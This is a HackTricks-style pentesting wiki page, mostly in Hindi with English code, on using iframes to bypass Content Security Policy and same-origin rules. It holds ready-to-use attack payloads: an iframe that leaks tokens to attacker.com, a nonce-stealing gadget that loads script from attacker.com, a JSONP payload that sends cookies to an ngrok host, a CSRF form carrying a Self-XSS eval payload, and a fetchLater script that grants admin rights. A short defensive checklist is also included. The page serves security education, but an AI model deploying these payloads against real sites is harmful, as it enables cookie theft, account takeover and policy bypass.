Iframes in XSS, CSP and SOP

Reading time: 13 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Iframes in XSS

एक iframed पृष्ठ की सामग्री को इंगित करने के 3 तरीके हैं:

  • src के माध्यम से एक URL को इंगित करना (URL क्रॉस ओरिजिन या समान ओरिजिन हो सकता है)
  • src के माध्यम से data: प्रोटोकॉल का उपयोग करके सामग्री को इंगित करना
  • srcdoc के माध्यम से सामग्री को इंगित करना

Parent & Child vars तक पहुँच

html
<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
html
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

यदि आप पिछले HTML को HTTP सर्वर (जैसे python3 -m http.server) के माध्यम से एक्सेस करते हैं, तो आप देखेंगे कि सभी स्क्रिप्ट्स निष्पादित होंगी (क्योंकि इसे रोकने के लिए कोई CSP नहीं है)।, माता-पिता किसी भी iframe के अंदर secret var तक पहुँच नहीं पाएंगे और केवल if2 और if3 (जिन्हें समान-साइट माना जाता है) ही मूल विंडो में रहस्य तक पहुँच सकते हैं।
ध्यान दें कि if4 को null उत्पत्ति माना जाता है।

CSP के साथ Iframes

tip

कृपया ध्यान दें कि निम्नलिखित बायपास में iframe पृष्ठ के लिए प्रतिक्रिया में कोई CSP हेडर नहीं है जो JS निष्पादन को रोकता है।

script-src का self मान data: प्रोटोकॉल या srcdoc विशेषता का उपयोग करके JS कोड के निष्पादन की अनुमति नहीं देगा।
हालांकि, CSP का none मान भी उन iframes के निष्पादन की अनुमति देगा जो src विशेषता में एक URL (पूर्ण या केवल पथ) डालते हैं।
इसलिए, यह संभव है कि एक पृष्ठ के CSP को बायपास किया जा सके:

html
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

ध्यान दें कि पिछला CSP केवल इनलाइन स्क्रिप्ट के निष्पादन की अनुमति देता है।
हालांकि, केवल if1 और if2 स्क्रिप्ट्स निष्पादित होने जा रही हैं लेकिन केवल if1 ही पैरेंट सीक्रेट तक पहुंच सकेगा।

इसलिए, यह संभव है कि यदि आप सर्वर पर एक JS फ़ाइल अपलोड कर सकते हैं और इसे iframe के माध्यम से लोड कर सकते हैं, तो CSP को बायपास किया जा सकता है, भले ही script-src 'none' हो। यह संभावित रूप से एक समान-साइट JSONP एंडपॉइंट का दुरुपयोग करके भी किया जा सकता है।

आप इस परिदृश्य के साथ इसका परीक्षण कर सकते हैं जहां एक कुकी चुराई जाती है, भले ही script-src 'none' हो। बस एप्लिकेशन चलाएं और इसे अपने ब्राउज़र के साथ एक्सेस करें:

python
import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

New (2023-2025) CSP bypass techniques with iframes

शोध समुदाय लगातार iframe का दुरुपयोग करने के रचनात्मक तरीकों की खोज कर रहा है ताकि प्रतिबंधात्मक नीतियों को पराजित किया जा सके। नीचे आप पिछले कुछ वर्षों में प्रकाशित सबसे उल्लेखनीय तकनीकों को पा सकते हैं:

  • Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023) – जब एक एप्लिकेशन HTML को दर्शाता है लेकिन एक मजबूत CSP स्क्रिप्ट निष्पादन को रोकता है, तो आप dangling <iframe name> विशेषता को इंजेक्ट करके संवेदनशील टोकन लीक कर सकते हैं। एक बार जब आंशिक मार्कअप को पार्स किया जाता है, तो एक अलग मूल में चलने वाला हमलावर स्क्रिप्ट फ्रेम को about:blank पर नेविगेट करता है और window.name को पढ़ता है, जिसमें अब अगली उद्धरण चरित्र तक सब कुछ होता है (उदाहरण के लिए एक CSRF टोकन)। चूंकि पीड़ित संदर्भ में कोई JavaScript नहीं चलती है, इसलिए हमला आमतौर पर script-src 'none' से बच जाता है। एक न्यूनतम PoC है:
html
<!-- Injection point just before a sensitive <script> -->
<iframe name="//attacker.com/?">  <!-- attribute intentionally left open -->
javascript
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → leaked value
  • Nonce theft via same-origin iframe (2024) – CSP nonces DOM से हटा नहीं जाते; वे केवल DevTools में छिपे होते हैं। यदि एक हमलावर same-origin iframe इंजेक्ट कर सकता है (उदाहरण के लिए साइट पर HTML अपलोड करके) तो चाइल्ड फ्रेम सरलता से document.querySelector('[nonce]').nonce को क्वेरी कर सकता है और नई <script nonce> नोड्स बना सकता है जो नीति को संतुष्ट करती हैं, जिससे strict-dynamic के बावजूद पूर्ण JavaScript निष्पादन मिलता है। निम्नलिखित गैजेट एक मार्कअप इंजेक्शन को XSS में बढ़ाता है:
javascript
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
  • Form-action hijacking (PortSwigger 2024) – एक पृष्ठ जो form-action निर्देश को छोड़ता है, उसके लॉगिन फॉर्म को एक इंजेक्टेड iframe या इनलाइन HTML से re-targeted किया जा सकता है ताकि पासवर्ड प्रबंधक स्वचालित रूप से क्रेडेंशियल्स को एक बाहरी डोमेन में भरें और सबमिट करें, भले ही script-src 'none' मौजूद हो। हमेशा default-src को form-action के साथ पूरा करें!

Defensive notes (quick checklist)

  1. हमेशा सभी CSP निर्देश भेजें जो द्वितीयक संदर्भों को नियंत्रित करते हैं (form-action, frame-src, child-src, object-src, आदि)।
  2. गुप्त होने के लिए nonces पर भरोसा न करें—strict-dynamic और इंजेक्शन बिंदुओं को समाप्त करें।
  3. जब आपको अविश्वसनीय दस्तावेज़ों को एम्बेड करना हो तो sandbox="allow-scripts allow-same-origin" बहुत सावधानी से (या यदि आपको केवल स्क्रिप्ट निष्पादन अलगाव की आवश्यकता है तो बिना allow-same-origin के) उपयोग करें।
  4. एक गहराई में रक्षा COOP+COEP तैनाती पर विचार करें; नया <iframe credentialless> विशेषता (§ नीचे) आपको ऐसा करने की अनुमति देता है बिना तीसरे पक्ष के एम्बेड्स को तोड़े।

Other Payloads found on the wild

html
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

एक iframe के भीतर की सामग्री को sandbox विशेषता के उपयोग के माध्यम से अतिरिक्त प्रतिबंधों के अधीन किया जा सकता है। डिफ़ॉल्ट रूप से, यह विशेषता लागू नहीं होती है, जिसका अर्थ है कि कोई प्रतिबंध नहीं है।

जब उपयोग किया जाता है, तो sandbox विशेषता कई सीमाएँ लगाती है:

  • सामग्री को इस तरह से माना जाता है जैसे कि यह एक अद्वितीय स्रोत से उत्पन्न होती है।
  • फॉर्म जमा करने का कोई प्रयास अवरुद्ध होता है।
  • स्क्रिप्ट का निष्पादन निषिद्ध है।
  • कुछ APIs तक पहुँच अक्षम है।
  • यह लिंक को अन्य ब्राउज़िंग संदर्भों के साथ बातचीत करने से रोकता है।
  • <embed>, <object>, <applet> या समान टैग के माध्यम से प्लगइन्स का उपयोग निषिद्ध है।
  • सामग्री द्वारा स्वयं के शीर्ष स्तर के ब्राउज़िंग संदर्भ में नेविगेशन को रोका जाता है।
  • स्वचालित रूप से सक्रिय होने वाली सुविधाएँ, जैसे वीडियो प्लेबैक या फॉर्म नियंत्रणों का ऑटो-फोकस, अवरुद्ध होती हैं।

Tip: आधुनिक ब्राउज़र्स ग्रैन्युलर फ्लैग्स का समर्थन करते हैं जैसे allow-scripts, allow-same-origin, allow-top-navigation-by-user-activation, allow-downloads-without-user-activation, आदि। उन्हें संयोजित करें ताकि केवल एम्बेडेड एप्लिकेशन द्वारा आवश्यक न्यूनतम क्षमताएँ प्रदान की जा सकें।

विशेषता का मान खाली छोड़ा जा सकता है (sandbox="") ताकि उपरोक्त सभी प्रतिबंध लागू हों। वैकल्पिक रूप से, इसे विशिष्ट मानों की स्पेस-सेपरेटेड सूची पर सेट किया जा सकता है जो iframe को कुछ प्रतिबंधों से छूट देती है।

html
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>

Credentialless iframes

जैसा कि इस लेख में बताया गया है, एक iframe में credentialless फ्लैग का उपयोग बिना क्रेडेंशियल्स को भेजे एक पृष्ठ को iframe के अंदर लोड करने के लिए किया जाता है, जबकि iframe में लोड किए गए पृष्ठ की समान मूल नीति (SOP) को बनाए रखा जाता है।

चूंकि Chrome 110 (फरवरी 2023) में यह सुविधा डिफ़ॉल्ट रूप से सक्षम है और यह स्पेक सभी ब्राउज़रों में anonymous iframe के नाम से मानकीकृत किया जा रहा है। MDN इसे इस प्रकार वर्णित करता है: “तीसरे पक्ष के iframes को एक नए, अस्थायी स्टोरेज विभाजन में लोड करने का एक तंत्र ताकि कोई कुकीज़, localStorage या IndexedDB वास्तविक मूल के साथ साझा न हों।” हमलावरों और रक्षकों के लिए परिणाम:

  • विभिन्न credentialless iframes में स्क्रिप्ट्स अभी भी समान शीर्ष-स्तरीय मूल साझा करते हैं और DOM के माध्यम से स्वतंत्र रूप से इंटरैक्ट कर सकते हैं, जिससे मल्टी-iframe self-XSS हमले संभव हो जाते हैं (नीचे PoC देखें)।
  • चूंकि नेटवर्क क्रेडेंशियल-हटाया गया है, iframe के अंदर कोई भी अनुरोध प्रभावी रूप से एक अनधिकृत सत्र के रूप में व्यवहार करता है - CSRF से सुरक्षित एंडपॉइंट आमतौर पर विफल होते हैं, लेकिन DOM के माध्यम से लीक होने वाले सार्वजनिक पृष्ठ अभी भी दायरे में हैं।
  • एक credentialless iframe से उत्पन्न पॉप-अप को एक निहित rel="noopener" मिलता है, जिससे कुछ OAuth प्रवाह टूट जाते हैं।
javascript
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar';            // write
alert(window.top[2].document.cookie);                 // read -> foo=bar
  • शोषण उदाहरण: Self-XSS + CSRF

इस हमले में, हमलावर एक दुर्भावनापूर्ण वेबपृष्ठ तैयार करता है जिसमें 2 iframes होते हैं:

  • एक iframe जो पीड़ित के पृष्ठ को credentialless ध्वज के साथ लोड करता है जिसमें एक CSRF होता है जो XSS को ट्रिगर करता है (कल्पना करें कि उपयोगकर्ता के उपयोगकर्ता नाम में Self-XSS है):
html
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  • दूसरा iframe जो वास्तव में उपयोगकर्ता को लॉग इन करता है (बिना credentialless ध्वज के)।

फिर, XSS से दूसरे iframe तक पहुंचना संभव है क्योंकि उनके पास समान SOP है और उदाहरण के लिए कुकी चुराने के लिए निष्पादित करना:

javascript
alert(window.top[1].document.cookie);

fetchLater Attack

जैसा कि इस लेख में संकेत दिया गया है, API fetchLater एक अनुरोध को बाद में (एक निश्चित समय के बाद) निष्पादित करने के लिए कॉन्फ़िगर करने की अनुमति देता है। इसलिए, इसका दुरुपयोग किया जा सकता है, उदाहरण के लिए, एक हमलावर के सत्र में एक पीड़ित को लॉगिन करने के लिए (Self-XSS के साथ), एक fetchLater अनुरोध सेट करने के लिए (उदाहरण के लिए, वर्तमान उपयोगकर्ता का पासवर्ड बदलने के लिए) और हमलावर के सत्र से लॉगआउट करने के लिए। फिर, पीड़ित अपने सत्र में लॉगिन करता है और fetchLater अनुरोध निष्पादित होगा, पीड़ित का पासवर्ड हमलावर द्वारा सेट किए गए पासवर्ड में बदल जाएगा।

इस तरह, भले ही पीड़ित का URL एक iframe में लोड नहीं किया जा सकता (CSP या अन्य प्रतिबंधों के कारण), हमलावर अभी भी पीड़ित के सत्र में एक अनुरोध निष्पादित कर सकता है।

javascript
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})

SOP में Iframes

निम्नलिखित पृष्ठों की जांच करें:

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें